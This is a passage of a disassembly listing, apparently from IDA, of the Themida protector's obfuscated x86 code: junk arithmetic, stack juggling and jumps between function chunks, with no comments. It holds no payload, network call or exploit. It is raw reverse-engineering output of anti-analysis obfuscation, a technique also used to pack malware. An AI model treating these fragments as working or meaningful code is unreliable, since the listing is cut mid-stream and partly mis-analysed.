; END OF FUNCTION CHUNK FOR sub_5936EC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594A8D
loc_5A3758: ; CODE XREF: sub_594A8D+7D0Cj
push esi
mov esi, 0C734E53h
shr esi, 6
dec esi
push edi
mov edi, 29B3148Ch
jmp loc_59B641
; ---------------------------------------------------------------------------
loc_5A376D: ; CODE XREF: sub_594A8D+E84Aj
pop ebp
and edi, 461565E0h
xor edi, 420440E1h
sub esi, edi
pop edi
push ebx
mov ebx, 0FFFFFFFFh
sub esi, ebx
pop ebx
jmp loc_597E88
; END OF FUNCTION CHUNK FOR sub_594A8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A378B: ; CODE XREF: sub_59390B+8E0j
pop dword ptr [edi+24h]
loc_5A378E: ; CODE XREF: sub_59390B+A496j
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xor ecx, [esp+8+var_8]
jmp loc_593B9A
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A37A5: ; CODE XREF: Themida_:005A44FEj
add esp, 4
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_597A6B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A3F6E
loc_5A37BF: ; CODE XREF: sub_5A3F6E-D8B1j
add ecx, ebx
pop ebx
push 617Eh
mov [esp+0], edi
push 4
pop edi
sub ecx, edi
jmp loc_594A4C
; END OF FUNCTION CHUNK FOR sub_5A3F6E
; ---------------------------------------------------------------------------
loc_5A37D7: ; CODE XREF: Themida_:005A4EEDj
xchg ebx, [esp]
mov esp, [esp]
jmp loc_59D3E0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A37E2: ; CODE XREF: sub_59390B+738Fj
mov [esp+18h+var_18], esi
mov esi, esp
push edi
push ecx
mov ecx, 430E1646h
not ecx
inc ecx
neg ecx
jmp loc_5948CB
; ---------------------------------------------------------------------------
loc_5A37F8: ; CODE XREF: sub_59390B+11054j
mov [esp+0], esi
mov esi, 5D30CEEBh
add eax, 58430A8h
sub eax, 733809F3h
add eax, esi
add eax, 733809F3h
sub eax, 58430A8h
jmp loc_59770F
; ---------------------------------------------------------------------------
loc_5A381B: ; CODE XREF: sub_59390B+4CD3j
xchg edx, [esp+0]
jmp loc_594DF6
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5964AF
loc_5A3823: ; CODE XREF: sub_5964AF+E238j
pop eax
jmp loc_5A4789
; END OF FUNCTION CHUNK FOR sub_5964AF
; ---------------------------------------------------------------------------
loc_5A3829: ; CODE XREF: Themida_:0059C478j
add edx, 2FC9A680h
add ebp, edx
pop edx
sub ebp, ebx
sub ebp, 558B2609h
pop ebx
push ecx
mov ecx, 71060DE5h
push esi
mov esi, 1
sub ecx, esi
pop esi
jmp loc_593682
; ---------------------------------------------------------------------------
loc_5A384F: ; CODE XREF: Themida_:00592A22j
mov esp, [esp]
jmp loc_592016
; ---------------------------------------------------------------------------
loc_5A3857: ; CODE XREF: Themida_:0059DD85j
push edx
mov edx, 6F956564h
mov ecx, 6F956560h
xor ecx, edx
pop edx
push 28C7h
jmp loc_5996C1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_598762
loc_5A386F: ; CODE XREF: sub_598762-2EACj
add edx, 4
push edi
jmp loc_59C16D
; END OF FUNCTION CHUNK FOR sub_598762
; ---------------------------------------------------------------------------
loc_5A387B: ; CODE XREF: Themida_:00596C5Bj
pop edi
or ebp, 2C2C4E97h
jmp loc_59EF5D
; ---------------------------------------------------------------------------
loc_5A3887: ; CODE XREF: Themida_:005957DFj
push ebp
push edx
jmp loc_5A1884
; ---------------------------------------------------------------------------
loc_5A388E: ; CODE XREF: Themida_:0059BA81j
push ebx
mov ebx, 4
add ebp, ebx
pop ebx
add ebp, 4
xchg ebp, [esp]
jmp loc_59EA46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BAD
loc_5A38A5: ; CODE XREF: sub_595BAD+E3BCj
add esp, 4
or eax, eax
jz loc_594EF0
push dword ptr [edi+1Ch]
push ebx
push edi
jmp loc_598ABF
; END OF FUNCTION CHUNK FOR sub_595BAD
; ---------------------------------------------------------------------------
loc_5A38BD: ; CODE XREF: Themida_:0059A5A8j
sub [esp+4], ebp
add dword ptr [esp+4], 2757298Ah
sub dword ptr [esp+4], 7F816E8h
jmp loc_5A47BD
; ---------------------------------------------------------------------------
loc_5A38D6: ; CODE XREF: Themida_:005956A4j
pop ebx
jmp loc_5A344B
; ---------------------------------------------------------------------------
loc_5A38DC: ; CODE XREF: Themida_:005A131Bj
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], ebp
mov ebp, 1CA110BEh
inc ebp
sub ebp, 6337752Ah
shr ebp, 6
shl ebp, 5
inc ebp
add ebp, 0A34B3243h
add edx, 152C3CEAh
add edx, ebp
sub edx, 152C3CEAh
mov ebp, [esp]
add esp, 4
sub esp, 4
mov [esp], edi
push 178667B7h
pop edi
shr edi, 7
shr edi, 2
sub edi, 0BC32Fh
add edx, 15E33B53h
sub edx, 5D9A591Eh
sub edx, edi
add edx, 5D9A591Eh
sub edx, 15E33B53h
pop edi
xchg edx, [esp]
pop esp
mov [esp], ebx
sub esp, 4
mov [esp], eax
jmp loc_59F28A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A396C: ; CODE XREF: sub_59390B+C6CEj
push dx
jmp loc_59922A
; ---------------------------------------------------------------------------
loc_5A3973: ; CODE XREF: sub_59390B+5969j
xchg ecx, [esp+4+var_4]
jmp loc_5A2E82
; ---------------------------------------------------------------------------
loc_5A397B: ; CODE XREF: sub_59390B+764Ej
neg dl
jmp loc_5A3DD4
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A3982: ; CODE XREF: Themida_:00591321j
mov [esp], ebx
mov bh, 0B8h
push cx
mov cl, 80h
or bh, cl
jmp loc_59CBB3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A3992: ; CODE XREF: sub_59390B+109C8j
mov edx, 49E6195Eh
xor esi, edx
pop edx
jmp sub_592586
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A399F: ; CODE XREF: Themida_:005A288Aj
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
add ch, bl
pop ebx
add ch, 85h
xor al, ch
jmp loc_5A5516
; ---------------------------------------------------------------------------
loc_5A39BC: ; CODE XREF: Themida_:005A55A0j
sub ebx, 2A1B7557h
pop esi
xchg ebx, [esp]
mov esp, [esp]
shr byte ptr [esp], cl
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2D8D
loc_5A39D2: ; CODE XREF: sub_5A2D8D+1Bj
add ebp, ecx
pop ecx
sub ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop [esp+4+var_4]
jmp loc_596B0F
; END OF FUNCTION CHUNK FOR sub_5A2D8D
; =============== S U B R O U T I N E =======================================
sub_5A39E6 proc near ; CODE XREF: sub_5995FC+7E47j
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], edx
not byte ptr [esp+4+var_4]
mov edx, [esp+4+var_4]
jmp sub_59FCCB
sub_5A39E6 endp
; ---------------------------------------------------------------------------
loc_5A39F7: ; CODE XREF: Themida_:005992F6j
add esp, 4
add edi, 4
sub esp, 4
mov [esp], ecx
sub esp, 4
jmp loc_59F979
; ---------------------------------------------------------------------------
loc_5A3A11: ; CODE XREF: Themida_:005A16A4j
xor eax, 61673CFAh
dec eax
jmp loc_59F02E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A3A1C: ; CODE XREF: sub_59390B+10F49j
pop esi
push ecx
mov ecx, 49912B47h
add eax, ecx
mov ecx, [esp-10h+arg_8]
add esp, 4
xor eax, 68634291h
mov edx, eax
pop eax
jmp sub_59386B
; ---------------------------------------------------------------------------
loc_5A3A38: ; CODE XREF: sub_59390B+112ECj
pop eax
add edi, esi
add edi, 47C45359h
push ecx
push 240D412Bh
pop ecx
push edi
mov edi, 0
jmp loc_5A29BD
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A3A53: ; CODE XREF: Themida_:0059B061j
mov [esp], ebp
mov ebp, 7F3E7CEEh
add edx, ebp
pop ebp
push 506Bh
mov [esp], eax
jmp loc_598E29
; ---------------------------------------------------------------------------
loc_5A3A6B: ; DATA XREF: Themida_:005907E8o
lodsd
xor eax, ebx
push ebp
push esi
jmp loc_59F1A0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594D13
loc_5A3A75: ; CODE XREF: sub_594D13+FCBFj
xor ebp, 1D80CD6h
jmp loc_5A12D0
; END OF FUNCTION CHUNK FOR sub_594D13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A3A80: ; CODE XREF: sub_59390B+1174Ej
add edi, 573B5A83h
pop ebx
std
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xor ebp, [esp-14h+arg_C]
xor [esp-14h+arg_C], ebp
xor ebp, [esp-14h+arg_C]
mov esp, [esp-14h+arg_C]
mov [esp-14h+arg_C], eax
push edx
mov edx, esp
add edx, 4
jmp loc_5A35AB
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_5A3AB1: ; CODE XREF: sub_59E918+5570j
add edx, ebx
pop ebx
sub edx, 0F38BB830h
add eax, edx
jmp loc_593070
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A4D6
loc_5A3AC1: ; CODE XREF: sub_59A4D6-396Bj
shl ebp, 5
push esi
mov esi, 52BA203Ah
xchg edx, esi
inc edx
push esi
push edx
pop esi
pop edx
jmp loc_595139
; END OF FUNCTION CHUNK FOR sub_59A4D6
; ---------------------------------------------------------------------------
loc_5A3AD6: ; CODE XREF: Themida_:0059AA57j
push ebp
jmp loc_59F214
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59B8C7
loc_5A3ADC: ; CODE XREF: sub_59B8C7-98EBj
add ebp, 4
sub ebp, 4
xchg ebp, [esp+4+var_4]
pop esp
jmp loc_591A33
; END OF FUNCTION CHUNK FOR sub_59B8C7
; ---------------------------------------------------------------------------
loc_5A3AF1: ; CODE XREF: Themida_:0059C110j
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5A194D
; ---------------------------------------------------------------------------
loc_5A3B01: ; CODE XREF: Themida_:00592992j
add ebp, 14250Fh
add ebp, edi
push ecx
push edi
jmp loc_591039
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A3B10: ; CODE XREF: sub_59390B+F444j
push 798A2E2Dh
pop edx
jmp loc_5A1F8D
; ---------------------------------------------------------------------------
loc_5A3B1B: ; CODE XREF: sub_59390B+FCD3j
mov esi, 5A757F9Ch
jmp loc_5A0E9D
; ---------------------------------------------------------------------------
loc_5A3B25: ; CODE XREF: sub_59390B+2372j
mov [esp-12h+arg_8+2], ebp
mov ebp, 4
add eax, ebp
pop ebp
jmp sub_59A4D6
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A3B35: ; CODE XREF: Themida_:0059B47Cj
add ebx, 4
xchg ebx, [esp]
pop esp
not dl
dec dl
push 4281h
mov [esp], eax
mov al, 0FEh
sub dl, al
mov eax, [esp]
jmp loc_597E1D
; ---------------------------------------------------------------------------
loc_5A3B57: ; CODE XREF: Themida_:0059993Cj
push 61B53F85h
pop eax
jmp loc_5A26E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A3B62: ; CODE XREF: sub_59390B+1A65j
pop esp
jmp loc_59C2BC
; ---------------------------------------------------------------------------
loc_5A3B68: ; CODE XREF: sub_59390B+5C07j
xor [esp-8+arg_0], 7E8E231Bh
pop esi
xor esi, 7E8E231Bh
jmp loc_5A4BE8
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A3B7B: ; CODE XREF: Themida_:0059AC30j
add eax, 4
xchg eax, [esp]
pop esp
add esp, 4
push 3214h
mov [esp], edi
push esi
push 45D3181Ch
jmp loc_59FE8C
; ---------------------------------------------------------------------------
loc_5A3B9D: ; CODE XREF: Themida_:005A1434j
push 6B96h
mov [esp], eax
push esp
jmp loc_5A00E7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A3BAB: ; CODE XREF: sub_59390B+D598j
xor esi, edi
pop edi
and ebx, esi
pop esi
add ebx, 0ACFFFE02h
add edi, ebx
mov ebx, [esp-8+arg_0]
add esp, 4
push 8Ah
mov [esp-8+arg_0], ebx
mov ebx, 4
sub edi, 50730135h
add edi, ebx
sub esp, 4
mov [esp+0], ecx
mov ecx, 2591407Dh
shr ecx, 4
dec ecx
neg ecx
push edi
mov edi, 542C11F6h
not edi
or edi, 14052332h
jmp loc_59B8F9
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A3BF8: ; CODE XREF: Themida_:00598687j
and si, 6B17h
neg si
and si, 5E4Bh
add si, 166Ah
sub ax, si
mov esi, [esp]
add esp, 4
jmp loc_59A8FD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599AE1
loc_5A3C18: ; CODE XREF: sub_599AE1+8C03j
mov edx, [esp+1Ch+var_1C]
add esp, 4
jmp loc_59A203
; END OF FUNCTION CHUNK FOR sub_599AE1
; ---------------------------------------------------------------------------
loc_5A3C23: ; CODE XREF: Themida_:005A2247j
xor [esp], esi
xor esi, [esp]
pop esp
mov [esp], ebp
push 225Eh
jmp loc_5A4819
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59731A
loc_5A3C37: ; CODE XREF: sub_59731A+9B5Bj
add [esp+0Ch+var_C], 4EB14E62h
jmp loc_5A4648
; END OF FUNCTION CHUNK FOR sub_59731A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0D58
loc_5A3C43: ; CODE XREF: sub_5A0D58+Dj
push edi
mov edi, 662A4111h
and ebp, edi
pop edi
and ebp, 6B067E0Fh
add ebp, 3C017F87h
sub ebp, 0F0BA0AD0h
mov ebx, ebp
pop ebp
sub ebx, ebp
pop ebp
jmp loc_59F79B
; END OF FUNCTION CHUNK FOR sub_5A0D58
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_5A3C69: ; CODE XREF: sub_59A75E+4446j
mov word ptr [esp+2+var_4+2], si
jmp loc_5A4439
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A3C72: ; CODE XREF: sub_59390B+15D9j
mov ecx, esi
pop esi
jmp loc_5A055B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A3C7A: ; CODE XREF: Themida_:0059D02Aj
mov ah, dl
mov ch, ah
pop eax
jmp loc_599517
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_5A3C84: ; CODE XREF: sub_59A431-9005j
mov [esp+0Ch+var_C], edi
mov edi, 12E962EDh
neg edi
xor edi, 2BFA6B59h
xor edi, 0DF8CBA83h
add ebx, edi
pop edi
push ecx
mov ecx, 67054331h
xor ebx, ecx
pop ecx
push ecx
jmp loc_59EADF
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
loc_5A3CAC: ; CODE XREF: Themida_:00595F68j
push edx
mov edx, 4EA70C89h
mov edi, edx
pop edx
jmp loc_59F9FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5964B7
loc_5A3CBA: ; CODE XREF: sub_5964B7+Fj
mov [esp+8+var_8], esp
push esi
jmp loc_595D7D
; END OF FUNCTION CHUNK FOR sub_5964B7
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], ecx
jmp loc_59A8A4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A3CD5: ; CODE XREF: sub_59390B+16F8j
mov edx, [esp-24h+arg_1C]
add esp, 4
push edx
push eax
jmp loc_59FA41
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A3CE5: ; CODE XREF: Themida_:0059ED93j
mov bx, [esp]
add esp, 2
push 3E9Eh
jmp loc_5A36CA
; ---------------------------------------------------------------------------
loc_5A3CF9: ; CODE XREF: Themida_:00599503j
mov ah, 97h
sub bh, ah
jmp loc_59E3D4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A51EA
loc_5A3D02: ; CODE XREF: sub_5A51EA-3C1Bj
mov dword ptr [esp+6+var_6], eax
mov ah, 98h
sub dl, ah
mov eax, dword ptr [esp+6+var_6]
add esp, 4
push ebx
mov bh, dl
mov cl, bh
mov ebx, dword ptr [esp+6+var_6]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
pop edx
jmp loc_59DE5A
; END OF FUNCTION CHUNK FOR sub_5A51EA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594A8D
loc_5A3D33: ; CODE XREF: sub_594A8D+10D39j
add esp, 4
push edx
push ebx
jmp sub_59918B
; END OF FUNCTION CHUNK FOR sub_594A8D
; ---------------------------------------------------------------------------
loc_5A3D40: ; CODE XREF: Themida_:0059351Cj
mov ebp, 55F205F9h
push ecx
mov ecx, 73C830D0h
add ebp, ecx
jmp loc_59A3BD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A3D52: ; CODE XREF: sub_59390B+8528j
mov al, 76h
add al, 5Ch
jmp loc_593467
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A3D5B: ; CODE XREF: Themida_:0059EC9Aj
pop ecx
push edx
push esp
pop edx
add edx, 4
jmp loc_5924F0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_5A3D6A: ; CODE XREF: sub_59E918-D86Ej
pop edx
sub cl, bh
mov ebx, [esp+0Ch+var_C]
add esp, 4
push ax
push edx
mov dl, cl
mov ah, dl
mov edx, [esp+0Eh+var_10+2]
jmp loc_59E3C0
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
loc_5A3D82: ; CODE XREF: Themida_:005A0C45j
mov cl, 0BBh
add cl, dl
jmp loc_59A7A8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A3D8B: ; CODE XREF: sub_59390B+F6B0j
push [esp-4+arg_0]
jmp loc_59454A
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F4E7
loc_5A3D94: ; CODE XREF: sub_59F4E7-D754j
mov edx, 2
add ecx, 46C72807h
add ecx, edx
sub ecx, 46C72807h
mov edx, [esp+0]
add esp, 4
push 502Eh
jmp loc_5A35E3
; END OF FUNCTION CHUNK FOR sub_59F4E7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599AE1
loc_5A3DBA: ; CODE XREF: sub_599AE1+3A07j
sub ebx, ebp
add ebx, 1B5783Ah
pop ebp
mov eax, [esp-0Ch+arg_8]
add esp, 4
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_599AE1
; ---------------------------------------------------------------------------
loc_5A3DCE: ; CODE XREF: Themida_:0059124Aj
push edx
jmp loc_59A028
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A3DD4: ; CODE XREF: sub_59390B+10072j
sub dl, 2Ch
sub dl, 79h
or bh, dl
pop edx
sub bh, 44h
push eax
mov al, 1Ah
and bh, al
jmp loc_59DB0E
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A3DEA: ; CODE XREF: Themida_:0059A734j
xor edx, eax
jmp loc_59554C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5932F7
loc_5A3DF1: ; CODE XREF: sub_5932F7+16B4j
push edx
mov edx, 0EF14CBE3h
xor ebx, edx
mov edx, [esp+8+var_8]
add esp, 4
jmp loc_59AFE3
; END OF FUNCTION CHUNK FOR sub_5932F7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A3E07: ; CODE XREF: sub_59390B+9E47j
push [esp-0Ch+arg_4]
push [esp-8+arg_0]
pop eax
jmp loc_5A3ED5
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A3E13: ; CODE XREF: Themida_:0059C49Fj
mov [esp], cx
jmp loc_591DDB
; ---------------------------------------------------------------------------
loc_5A3E1C: ; CODE XREF: Themida_:005A5B89j
pop ecx
mov ah, bh
mov ebx, [esp]
add esp, 4
jmp loc_598185
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5971C0
loc_5A3E2A: ; CODE XREF: sub_5971C0+5FDDj
pop eax
jmp loc_5A21B1
; END OF FUNCTION CHUNK FOR sub_5971C0
; ---------------------------------------------------------------------------
loc_5A3E30: ; CODE XREF: Themida_:005A1AF4j
add edx, 6B937D0Eh
add edi, edx
mov edx, [esp]
add esp, 4
jmp loc_596BB4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A3E43: ; CODE XREF: sub_59390B+BD2Bj
sub al, bl
jmp loc_594D1E
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_5A3E4A: ; CODE XREF: sub_59FD45-4114j
xor eax, ebp
jmp loc_590CED
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5917E1
loc_5A3E51: ; CODE XREF: sub_5917E1+16j
sub edi, 2
xor edi, [esp+0]
xor [esp+0], edi
jmp loc_59C9C9
; END OF FUNCTION CHUNK FOR sub_5917E1
; ---------------------------------------------------------------------------
loc_5A3E5F: ; CODE XREF: Themida_:005A0487j
pop esp
add esp, 4
sub edx, eax
push eax
mov eax, 57BE2E96h
add edx, 5F2A76BEh
jmp loc_5963AC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59918B
loc_5A3E76: ; CODE XREF: sub_59918B+16A8j
mov edx, [esp-4+arg_0]
push ebp
jmp loc_5A25BF
; END OF FUNCTION CHUNK FOR sub_59918B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_5A3E7F: ; CODE XREF: sub_59E918+1727j
add esi, 59CAD012h
mov ebx, esi
pop esi
jmp loc_5A3AB1
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DC9E
loc_5A3E8D: ; CODE XREF: sub_59DC9E+1D84j
add ebx, eax
pop eax
push ebp
mov ebp, 4
add ebx, ebp
pop ebp
xchg ebx, [esp-4+arg_0]
pop esp
push ebx
mov ebx, 8613A36h
mov eax, ebx
pop ebx
add eax, 25A41CF7h
sub eax, edi
jmp loc_596E23
; END OF FUNCTION CHUNK FOR sub_59DC9E
; ---------------------------------------------------------------------------
loc_5A3EB2: ; CODE XREF: Themida_:0059A1C0j
push eax
mov eax, 74B55F7h
dec eax
xor eax, 767904D6h
add ecx, 7AB37672h
push esi
jmp loc_5A2613
; ---------------------------------------------------------------------------
loc_5A3ECA: ; CODE XREF: Themida_:005912F8j
add edx, 4
jmp loc_5A1A9E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A3ED5: ; CODE XREF: sub_59390B+10503j
add esp, 4
push 2CBDh
mov [esp-8+arg_0], ebx
push esp
mov ebx, [esp+0]
push ebp
push esp
jmp loc_5961EA
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599AE1
loc_5A3EEE: ; CODE XREF: sub_599AE1-3ABAj
push eax
xor [esp+0Ch+var_C], 20C624A6h
jmp loc_5A1FB8
; END OF FUNCTION CHUNK FOR sub_599AE1
; =============== S U B R O U T I N E =======================================
sub_5A3EFB proc near ; CODE XREF: sub_59390B-2A11j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00591C17 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00593900 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005990FE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059988E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059A17A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A24FC SIZE 00000028 BYTES
sub esp, 4
mov [esp+0], ebp
push ecx
jmp loc_591C17
sub_5A3EFB endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_5A3F07: ; CODE XREF: Themida_:0059704Aj
add eax, 4
push edx
mov edx, 4
sub eax, 7A91F54h
sub eax, 1A4C23E9h
sub eax, 41AC6F06h
add eax, edx
add eax, 41AC6F06h
jmp loc_592A99
; ---------------------------------------------------------------------------
loc_5A3F2D: ; CODE XREF: Themida_:005A4CB6j
mov ebx, 0F123F34h
jmp loc_5927DA
; ---------------------------------------------------------------------------
loc_5A3F37: ; CODE XREF: Themida_:005A0113j
mov edx, 53825B79h
inc edx
shl edx, 3
shl edx, 5
add edx, 1
dec edx
jmp loc_597F82
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A3F4C: ; CODE XREF: sub_59390B-EAFj
sub bl, dh
jmp loc_59D27C
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A3F53: ; CODE XREF: Themida_:0059B7F1j
xchg edi, [esp]
jmp loc_59E103
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590AC5
loc_5A3F5B: ; CODE XREF: sub_590AC5+10337j
mov esp, [esp-8+arg_4]
jmp loc_59C450
; END OF FUNCTION CHUNK FOR sub_590AC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BAD
loc_5A3F63: ; CODE XREF: sub_595BAD-360j
and eax, ebx
push [esp-4+arg_0]
pop ebx
jmp loc_5A38A5
; END OF FUNCTION CHUNK FOR sub_595BAD
; =============== S U B R O U T I N E =======================================
sub_5A3F6E proc near ; DATA XREF: Themida_:005909F8o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00591E36 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005921EC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00594A4C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00596692 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0059C316 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059E8E5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059F6CA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A1B3A SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A1C89 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A37BF SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A574A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A58AC SIZE 00000012 BYTES
push ecx
push edx
push esp
pop edx
add edx, 4
sub edx, 4
jmp loc_59E8E5
sub_5A3F6E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FC5
loc_5A3F83: ; CODE XREF: sub_591FC5+B0C2j
xor ah, dh
jmp loc_59B720
; END OF FUNCTION CHUNK FOR sub_591FC5
; ---------------------------------------------------------------------------
loc_5A3F8A: ; CODE XREF: Themida_:005919A4j
mov [esp], ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
jmp loc_592056
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590BDF
loc_5A3FA7: ; CODE XREF: sub_590BDF+12A3Cj
pop edi
xchg edx, [esp+8+var_8]
pop esp
mov [esp+4+var_4], esi
jmp loc_598613
; END OF FUNCTION CHUNK FOR sub_590BDF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A3FB4: ; CODE XREF: sub_59390B+C90Cj
add ebp, 4
sub esp, 4
mov [esp+4+var_4], eax
jmp loc_59FBDB
; ---------------------------------------------------------------------------
loc_5A3FC8: ; CODE XREF: sub_59390B+11C45j
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp+4+var_4]
pop esp
jmp loc_597542
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A3FDB: ; CODE XREF: Themida_:00591034j
shl esi, 8
jmp loc_592CF6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A3FE3: ; CODE XREF: sub_59390B+ACF2j
push edx
mov edx, 21CC43B3h
jmp loc_591F20
